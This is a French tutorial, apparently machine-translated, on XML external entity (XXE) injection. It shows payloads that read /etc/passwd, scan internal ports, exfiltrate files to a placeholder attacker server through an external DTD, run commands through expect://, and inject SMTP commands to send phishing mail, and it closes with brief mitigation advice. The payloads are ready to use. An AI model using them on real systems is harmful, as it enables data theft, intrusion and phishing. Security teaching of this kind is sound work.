Quel est le chemin du XML à l'exécution de code à distance

Qu'est-ce que XXE

En termes simples, XXE est une injection d'entité externe XML. Lorsque des entités externes sont autorisées à être référencées, en créant du contenu malveillant, cela peut causer des dommages tels qu'une lecture arbitraire de fichiers, l'exécution de commandes système, la détection de ports intranet et des attaques sur des sites Web intranet.

Par exemple, si le programme que vous utilisez actuellement est PHP, vous pouvez définir libxml_disable_entity_loader sur TRUE pour désactiver les entités externes à des fins de défense.

Basic Exploitation

Habituellement, l'attaquant injectera la charge utile dans le fichier XML. Une fois le fichier exécuté, le fichier local sur le serveur. sera lu le fichier et lancera l’accès au réseau interne pour analyser les ports du réseau interne. En d’autres termes, XXE est un moyen d’accéder localement à divers services. En outre, cela peut également aider les attaquants à contourner dans une certaine mesure le filtrage des règles de pare-feu ou les contrôles d’authentification.

Ce qui suit est un exemple de requête POST de code XML simple :

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>XML is the best!</description>
   </core>
</catalog>

Ensuite, le code ci-dessus sera analysé par le processeur XML du serveur. Le code est interprété et renvoyé : {"Request Successful": "Added!"}

Maintenant, que se passe-t-il lorsqu'un attaquant tente d'abuser de l'analyse du code XML ? Modifions le code et incluons notre charge utile malveillante :

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Le code est interprété et renvoyé :

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

Comme le montre l'exemple ci-dessus, le serveur renvoie le contenu du fichier /etc/passwd à notre XXE en réponse. Mais dans certains cas, même si XXE est présent sur le serveur, aucune réponse ne sera renvoyée au navigateur ou au proxy de l'attaquant. Dans ce cas, nous pouvons utiliser la vulnérabilité Blind XXE pour créer un canal hors bande (OOB) pour lire les données. Bien que nous ne puissions pas visualiser directement le contenu du fichier, nous pouvons toujours utiliser le serveur vulnérable comme proxy pour effectuer des analyses ainsi que du code sur le réseau externe.

Scénario 1 - Port Scan

Dans le premier exemple, nous avons pointé la requête vers le fichier /etc/passwd via l'URI, et Finalement, le contenu du fichier nous a été restitué avec succès. En plus de cela, nous pouvons également convertir le XXE en SSRF (Server Side Request Forgery) en utilisant un URI http et en forçant le serveur à envoyer une requête GET au point de terminaison et au port que nous spécifions.

Le code suivant tentera de communiquer avec le port 8080. En fonction du temps/longueur de réponse, l'attaquant pourra déterminer si le port a été ouvert.

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Scénario 2 - Vol de fichiers via DTD

Les fichiers DTD (External Document Type Definition) peuvent être utilisés pour déclencher OOB XXE. L'attaquant héberge le fichier .dtd sur un VPS, permettant à un serveur vulnérable distant d'obtenir le fichier et d'exécuter les commandes malveillantes qu'il contient.

La requête suivante sera envoyée à l'application pour démontrer et tester la méthode :

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Le code ci-dessus, une fois traité par le serveur vulnérable, sera envoyé à notre distant serveur Envoyez une requête pour trouver le fichier DTD contenant notre charge utile :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM &#39;http://ATTACKESERVER.com/?%file;&#39;>">
%all;

Prenons un moment pour comprendre le flux d'exécution de la requête ci-dessus. Le résultat est que deux requêtes sont envoyées à notre serveur, la deuxième requête concerne le contenu du fichier /etc/passwd.

Dans nos logs VPS nous pouvons voir une deuxième requête avec le contenu d'un fichier, qui confirme l'existence de la vulnérabilité OOB XXE :

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

Scénario 3 - Code à distance Exécution

Cela arrive rarement, mais il existe des cas où un attaquant est capable d'exécuter du code via XXE, principalement en raison d'une configuration/développement interne inapproprié causé par l'application. Si nous avons la chance et que le module PHP expect est chargé sur un système vulnérable ou une application interne qui gère XML, alors nous pouvons exécuter la commande suivante :

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Response :

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

#🎜 🎜#

Scénario 4 - Phishing

Nous avons trouvé un point de terminaison vulnérable à l'aide de l'analyseur XML de Java. Après avoir analysé les ports internes, nous avons trouvé un service SMTP écoutant sur le port 25 avec prise en charge Java pour l'URI ftp dans sun.net.ftp.impl.FtpClient. Par conséquent, nous pouvons spécifier le nom d'utilisateur et le mot de passe, tels que ftp://user:password@host:port/test.txt, et le client FTP enverra la commande USER correspondante dans la connexion.

Mais si nous ajoutons %0D%0A (CRLF) n'importe où dans la partie utilisateur de l'URL, nous pouvons terminer la commande USER et injecter une nouvelle commande dans la session FTP, nous permettant d'envoyer n'importe quel SMTP commande au port 25 :

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

Lorsque le client FTP se connecte en utilisant cette URL, la commande suivante sera envoyée au serveur de messagerie sur VULNERABLESYSTEM.com :

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

#🎜🎜 #Cela signifie un L'attaquant pourrait envoyer un e-mail de phishing (par exemple, un lien de réinitialisation de compte) à partir d'une source fiable et contourner la détection du filtre anti-spam. En plus des liens, même nous pouvons envoyer des pièces jointes.

Utilities

Être capable de modifier manuellement les requêtes Web est crucial pour les attaques XXE. Ici, je recommande à tout le monde d'utiliser BurpSuite. La fonction d'analyse de BurpSuite peut détecter pour nous les vulnérabilités potentielles XXE, et deuxièmement, la fonction Intruder de Burp est très adaptée à la détection de ports. Mais nous devons vous rappeler que les outils ne sont que nos assistants et que, dans certains cas, les tests manuels peuvent être meilleurs !

Les outils d'analyse de requêtes HTTP comme RequestBin et HookBin sont très adaptés aux tests OOB XXE. De plus, le Collaborator de BurpSuite Pro est également un bon choix, mais certains chercheurs en sécurité préfèrent utiliser leur propre VPS.

mesures d'atténuation

Le principal problème évoqué ci-dessus est que l'analyseur XML analyse les données non fiables envoyées par l'utilisateur. Cependant, il n'est pas facile, voire impossible, de vérifier les données définies par l'identifiant SYSTEM dans la DTD (définition du type de document). La plupart des analyseurs XML sont vulnérables aux attaques XXE par défaut. Par conséquent, la meilleure solution consiste à configurer le processeur XML pour qu'il utilise des DTD statiques locales et ne permette pas à XML de contenir des DTD auto-déclarées.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!